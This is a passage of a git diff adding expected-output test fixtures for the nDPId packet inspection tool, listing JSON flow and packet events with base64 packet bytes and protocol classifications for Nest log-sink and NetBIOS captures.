+00423{"flow_id":16,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":851,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718209,"pkt_ts_usec":19114,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoML4AAP8GYb7AqPIPI65S7fd4K1cJMSo45vGBR1AQEgC2DgAAAAAAAAAA"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":858,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1536718209313,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.188.154.186","src_port":63353,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":858,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718209,"pkt_ts_usec":313555,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"AJD7JidrGLQwJjRACABFAAAsMMIAAP8GGdvAqPIPI7yauvd5K1cJPKL3AAAAAGACEgBHJwAAAgQEgAAA"} +00423{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":860,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718209,"pkt_ts_usec":383517,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"GLQwJjRAAJD7JidrCABFAAAsAABAADcG0p0jvJq6wKjyDytX93le92HNCTyi+GASbvAoVQAAAgQFjA=="} +00423{"flow_id":17,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":861,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718209,"pkt_ts_usec":385963,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoMMQAAP8GGd3AqPIPI7yauvd5K1cJPKL4XvdhzlAQEgCc2gAAAAAAAAAA"} +01138{"flow_id":17,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":862,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718210,"pkt_ts_usec":26695,"pkt_caplen":586,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":586,"pkt_l4_len":552,"pkt":"AJD7JidrGLQwJjRACABFAAI8MMUAAP8GF8jAqPIPI7yauvd5K1cJPKL4XvdhzlAYEgBFDAAAEgIAEx4DAAA2nicAADC0GAQAAAACMLQYEQq6BgQAAACBAAA5+ABtAAEAWiMlAFojciMEy6BL\/T\/d7h4QUit95Y7aUo6Uh\/qAd7M4eK1mUL1wyYwKlAnt\/D9Q6sTpXGL0ggzD5AqfC08P7PaVBwA1ATABCGRioUb7JdsYJAIENwMnEwIAAADuMLQYGCYEvBKUGiYFvF68LTcGJxE2nicAADC0GBgkBwImCCUAWiMwCjkEJgNHeyfLyn8+Y4Q3KJESv6T1UZ7ximwyz0BZXSER6iqTRHr3ZzL\/QcomumvZXRQgQXcoi+vhk5Y1gykBGDWCKQEkAgUYNYQpATYCBAIEARgYNYEwAghG1Bj5qiAzNBg1gDACCE3B2i1iGUvgGDUMMAEdAIXDdHE3JrfWlel2eYaefOia8kf6YmRIxz7Xgq0wAh0Aqggyqhbk0\/a8FDNnwqqs7hWaOpuNhfC6EutljBgYGNUAAA4AAQAlAFojJAEFJAILJQMykCwEEDA1Q0EwMkFDNDQxNDAyOEYwBQgYtDAAACeeNjAGBhi0MCYAACwHCU5FU1QtOUUzNicKNp4nAAAwtBgnC4vxg94wk5+2LAkIMy4xLjRyYzMkDAEpZRiVCAAwAR0Ai8Y6kw3thDbf2bDWI+bJ9KL++bYDvI9o\/iKAGDACHQCQSGW\/BB\/CdkIsi4kmSxKegEszXby4bIXp6dWNGA=="} +00415{"flow_id":17,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":863,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718210,"pkt_ts_usec":101439,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAo1sNAADcG+90jvJq6wKjyDytX93le92HOCTylDFAQcRA7tgAA"} +01334{"flow_id":17,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":864,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718210,"pkt_ts_usec":106767,"pkt_caplen":732,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":732,"pkt_l4_len":698,"pkt":"GLQwJjRAAJD7JidrCABFAALO1sRAADcG+TYjvJq6wKjyDytX93le92HOCTylDFAYcRDStgAApAIAE494s64EAAAAAjC0GDaeJwAAMLQYEAu6BgQAAACAOewBAAAEpdwFTFueXN+EhaRf\/GikvCTcPcKN3q0C5qwEiFaYj76TJKuVxqf0Y6m+cFvy3FOPDgMIy\/9mW2\/VAAAEAAcANQEwAQgMb9c+DCmBkiQCBDcDJxMDAAAA7jC0GBgmBACuiCMmBf8bcyU3BicSBAAAAAIwtBgYJAcCJgglAFojMAo5BOmClNa2L\/0sqyhn7IYa235P1xw1ad7owBLnP8rLfG3TPA0dBMXfrzKvqAFyJ47sRlQQr3qOkdAiNYMpARg1gikBJAIFGDWEKQE2AgQCBAEYGDWBMAIIT2JdLEIid9IYNYAwAghAMCqAESxXYxg1DDABHQD2qSsI\/n0hou9Llf5n3GEbVWuc4D0QHq+l2F+wMAIcbFFqzYrI2WIn6D35aDg1LAuu7NZYbZZk\/HdXyxgYNwPVAAAEAAEAMAEIdFPE8yV1wKQkAgQ3AycTAQAAAO4wtBgYJgSEShYaJgWECPtJNwYnEwMAAADuMLQYGCQHAiYIJQBaIzAKOQRhOKp73vZWzVBkzcIvC7VHSn7kjE4w+wzb4SgMSIJb6yR4pk2B0279JwA\/5iu\/0TQlBvq00DFAwzWDKQEpAhg1gikBJAJgGDWBMAIIQDAqgBEsV2MYNYAwAghDNPcS31+Rzxg1DDABHBLqxXlajT9KXWeBN+P8uG5pHU6a1vmo\/i33mMIwAh0AjB981V9gPTa1niPXvZ7CDdMfpHD9c+6sh9daGBgYGBjVAAAEAAgAMAEdAK\/uKm5gCnX5GPgtQmtyJtdm4by\/nu5rPV3odvEwAhw0T7c01v9Eq80XdECIdIMSPdhmII3Ei4TNKMJeGA7xedIT\/VYSz+GGny2vIXFJEaAp"} +00423{"flow_id":17,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":865,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718210,"pkt_ts_usec":319313,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoMMYAAP8GGdvAqPIPI7yauvd5K1cJPKUMXvdkdFAQD1qaxgAAAAAAAAAA"} +00490{"flow_id":17,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":866,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718211,"pkt_ts_usec":481806,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"AJD7JidrGLQwJjRACABFAABcMMcAAP8GGabAqPIPI7yauvd5K1cJPKUMXvdkdFAYD1pFFAAAMgAAEx8DAAA2nicAADC0GAQAAAACMLQYEQy6BgQAAAA9aelf8mf8Tn\/37x8FhSucKJKK0g=="} +00543{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":866,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":8,"flow_first_seen":1536718209313,"flow_last_seen":1536718211481,"flow_tot_l4_data_len":1430,"flow_min_l4_data_len":20,"flow_max_l4_data_len":698,"flow_avg_l4_data_len":178,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.188.154.186","src_port":63353,"dst_port":11095,"l4_proto":"tcp","ndpi": {"proto":"NestLogSink.Google","breed":"Unrated","category":"Cloud"}} +00415{"flow_id":17,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":867,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718211,"pkt_ts_usec":608928,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAo1sVAADcG+9sjvJq6wKjyDytX93le92R0CTylQFAQcRA43AAA"} +00518{"flow_id":17,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":868,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718211,"pkt_ts_usec":614870,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"AJD7JidrGLQwJjRACABFAABuMMgAAP8GGZPAqPIPI7yauvd5K1cJPKVAXvdkdFAYD1oY5gAARAAQEwAAAAA2nicAADC0GAQAAAACMLQYciNF2\/rCGXkAU\/GKWBNxFPUOgHv\/N947RBM9x5UH\/ZArfs2InS4vq4FiF0IT5A=="} +00416{"flow_id":17,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":869,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718211,"pkt_ts_usec":682199,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAo1sZAADcG+9ojvJq6wKjyDytX93le92R0CTylhlAQcRA4lgAA"} +00495{"flow_id":17,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":870,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718211,"pkt_ts_usec":682234,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"GLQwJjRAAJD7JidrCABFAABh1sdAADcG+6AjvJq6wKjyDytX93le92R0CTylhlAYcRDn0wAANwAQEwAAAAAEAAAAAjC0GDaeJwAAMLQYciPFK5yyroDH2n3UhaRqSOxkK9bk\/gg6GN0Ti2o79wby"} +01035{"flow_id":17,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":871,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718211,"pkt_ts_usec":696975,"pkt_caplen":509,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":509,"pkt_l4_len":475,"pkt":"AJD7JidrGLQwJjRACABFAAHvMMkAAP8GGBHAqPIPI7yauvd5K1cJPKWGXvdkrVAYDyF8UAAAxQEQEwEAAAA2nicAADC0GAQAAAACMLQYciOWbJIyL0k3eBxZzg8L4vQfnvySlQsQgJY99Dz0FEI0DHNJPmOK63mv9oYNUsMTnsU3mqjZ4617gugnx3LGjw6E7PL5jOQrq8up309g3dNSYIlSZYOutV2i28fWQDqs6DC0saEsbqP76Bz4+naIL9zMHVnWP1ZcXsuX3PUVyDfejqu+4FP6a+MFZuP4+s5ELll9fmwdKfhXhz8eEyCyYL1Ls9\/MtPTzZ\/i34OEMZB1L\/cMv0YrC6g92eEyMFOqqSuBoAdmfFc16qSur\/1G8O3404yHUhoRdYAYH3O8tVrea6FpBmWoG9fHhsUGiATBwWW9FrrcqSO5u+ZVGX23JLkbgxk\/9kscVfQqgXES8Lsw4KfhlgZ5\/\/RFUBz68Eu3yMX9pdidI+GAfj2opXdJdw6wI3zgSH1YiJjvyem5MBcRcGIYp\/BEoHuSWrQRG3R1jvWihhmMpfhf4JokNzmNoBgGMrLTYzidDGSTlYhuYOpQ1snkwLHJwL6nupVvbvLaFz6E7AW0ATvtyNE2tlz1hvuPZVXFzNAqwFLD2+UUCaCSSEKBpTFHfkxu7GaMaoFc="} +00494{"flow_id":17,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":872,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718211,"pkt_ts_usec":769617,"pkt_caplen":109,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":109,"pkt_l4_len":75,"pkt":"GLQwJjRAAJD7JidrCABFAABf1shAADcG+6EjvJq6wKjyDytX93le92StCTynTVAYdUDImQAANQAQEwEAAAAEAAAAAjC0GDaeJwAAMLQYciOHPSLYgRLyu2n+U4RoIvtsCto1Vv3MASsILXTa6g=="} +00835{"flow_id":17,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":873,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718211,"pkt_ts_usec":780553,"pkt_caplen":358,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":358,"pkt_l4_len":324,"pkt":"AJD7JidrGLQwJjRACABFAAFYMMoAAP8GGKfAqPIPI7yauvd5K1cJPKdNXvdk5FAYDupN2gAALgEQEwIAAAA2nicAADC0GAQAAAACMLQYciM5hBC5P4r9dMMg1bQyUdvnQDIgqzj6HyzLhe2nVHL2cZtCIAOy\/i3fp5bdXZf4nb6Z0Hyl3x8mWoq1TQfd6fNd1ksXs5ZtEBswWLadYtb7uhxyiyWy\/RUVIUyPQGm+k87r6rnmlRFnkNbkyTrA2AHngAgY9DPu1UpHpEWRv32WuifaIKE2k8ZpEXx8o3+g\/Fdos7xpGPY93\/5ENN7Q3HGTDs2Ff2eWLiUVELBS6F4aRSCi+W65fQuCFD\/qXEp+oih2Yf+3nrTQXpk0VxOmJDEapa+bT72vNbJAtA19E4jiA2zE4jQ4c\/offjX\/oaZIWGhcOLoEEr4q602246pqE7a\/wTlQ5vTZGy2Qols46ca4DMVeOQDMbQ=="} +00502{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":882,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":32,"flow_first_seen":1536718052990,"flow_last_seen":1536718206634,"flow_tot_l4_data_len":4010,"flow_min_l4_data_len":20,"flow_max_l4_data_len":697,"flow_avg_l4_data_len":125,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.174.82.237","src_port":63350,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00504{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":882,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":49,"flow_first_seen":1536718202984,"flow_last_seen":1536718206546,"flow_tot_l4_data_len":10447,"flow_min_l4_data_len":20,"flow_max_l4_data_len":699,"flow_avg_l4_data_len":213,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.188.154.186","src_port":63351,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00503{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":882,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":20,"flow_first_seen":1536718209313,"flow_last_seen":1536718211968,"flow_tot_l4_data_len":2666,"flow_min_l4_data_len":20,"flow_max_l4_data_len":698,"flow_avg_l4_data_len":133,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.188.154.186","src_port":63353,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":924,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":2,"flow_first_seen":1536718202959,"flow_last_seen":1536718202959,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":48,"flow_max_l4_data_len":64,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} diff --git a/test/results/netbios.pcap.out b/test/results/netbios.pcap.out new file mode 100644 index 000000000..56524e962 --- /dev/null +++ b/test/results/netbios.pcap.out @@ -0,0 +1,91 @@ +00465{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"netbios.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1447772210350,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.131","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772210,"pkt_ts_usec":350540,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABj+bLz3CABFAABOYvYAAIARuScKAASDCgAF\/wCJAIkAOr8ep0kBEAABAAAAAAAAIEZJRkRGRUZDRUZFQkVORlBFSUZKQ0FDQUNBQ0FDQUFBAAAgAAE="} +00499{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"netbios.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1447772210350,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.4.131","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00467{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772210,"pkt_ts_usec":821814,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABj+bLz3CABFAABOYvkAAIARuSQKAASDCgAF\/wCJAIkAOr8dp0oBEAABAAAAAAAAIEZJRkRGRUZDRUZFQkVORlBFSUZKQ0FDQUNBQ0FDQUFBAAAgAAE="} +00467{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772210,"pkt_ts_usec":835836,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABj+bLz3CABFAABOYvoAAIARuSMKAASDCgAF\/wCJAIkAOr8fp0gBEAABAAAAAAAAIEZJRkRGRUZDRUZFQkVORlBFSUZKQ0FDQUNBQ0FDQUFBAAAgAAE="} +00467{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772211,"pkt_ts_usec":100541,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABj+bLz3CABFAABOYxMAAIARuQoKAASDCgAF\/wCJAIkAOr8ep0kBEAABAAAAAAAAIEZJRkRGRUZDRUZFQkVORlBFSUZKQ0FDQUNBQ0FDQUFBAAAgAAE="} +00465{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"netbios.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1447772211392,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.5.233","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772211,"pkt_ts_usec":392771,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AOCBt8asCABFAABOKuIAAIAR79UKAAXpCgAF\/wCJAIkAOuD1mh4BEAABAAAAAAAAIEVQRktFSkNBQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUJNAAAgAAE="} +00499{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"netbios.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1447772211392,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.5.233","dst_ip":"10.0.5.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00467{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772211,"pkt_ts_usec":571333,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABj+bLz3CABFAABOYxQAAIARuQkKAASDCgAF\/wCJAIkAOr8dp0oBEAABAAAAAAAAIEZJRkRGRUZDRUZFQkVORlBFSUZKQ0FDQUNBQ0FDQUFBAAAgAAE="} +00467{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772211,"pkt_ts_usec":651553,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABj+bLz3CABFAABOYxkAAIARuQQKAASDCgAF\/wCJAIkAOr8cp0sBEAABAAAAAAAAIEZJRkRGRUZDRUZFQkVORlBFSUZKQ0FDQUNBQ0FDQUFBAAAgAAE="} +00467{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772211,"pkt_ts_usec":765382,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABj+bLz3CABFAABOYx4AAIARuP8KAASDCgAF\/wCJAIkAOr8bp0wBEAABAAAAAAAAIEZJRkRGRUZDRUZFQkVORlBFSUZKQ0FDQUNBQ0FDQUFBAAAgAAE="} +00467{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772212,"pkt_ts_usec":142166,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AOCBt8asCABFAABOLrMAAIAR7AQKAAXpCgAF\/wCJAIkAOuD1mh4BEAABAAAAAAAAIEVQRktFSkNBQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUJNAAAgAAE="} +00468{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772212,"pkt_ts_usec":321194,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABj+bLz3CABFAABOYycAAIARuPYKAASDCgAF\/wCJAIkAOr8dp0oBEAABAAAAAAAAIEZJRkRGRUZDRUZFQkVORlBFSUZKQ0FDQUNBQ0FDQUFBAAAgAAE="} +00468{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772212,"pkt_ts_usec":401240,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABj+bLz3CABFAABOYygAAIARuPUKAASDCgAF\/wCJAIkAOr8cp0sBEAABAAAAAAAAIEZJRkRGRUZDRUZFQkVORlBFSUZKQ0FDQUNBQ0FDQUFBAAAgAAE="} +00469{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772212,"pkt_ts_usec":514529,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABj+bLz3CABFAABOYysAAIARuPIKAASDCgAF\/wCJAIkAOr8bp0wBEAABAAAAAAAAIEZJRkRGRUZDRUZFQkVORlBFSUZKQ0FDQUNBQ0FDQUFBAAAgAAE="} +00469{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772212,"pkt_ts_usec":661378,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABj+bLz3CABFAABOYywAAIARuPEKAASDCgAF\/wCJAIkAOr8ap00BEAABAAAAAAAAIEZJRkRGRUZDRUZFQkVORlBFSUZKQ0FDQUNBQ0FDQUFBAAAgAAE="} +00468{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"netbios.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1447772212,"pkt_ts_usec":892274,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AOCBt8asCABFAABOMrEAAIAR6AYKAAXpCgAF\/wCJAIkAOuD1mh4BEAABAAAAAAAAIEVQRktFSkNBQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUJNAAAgAAE="} 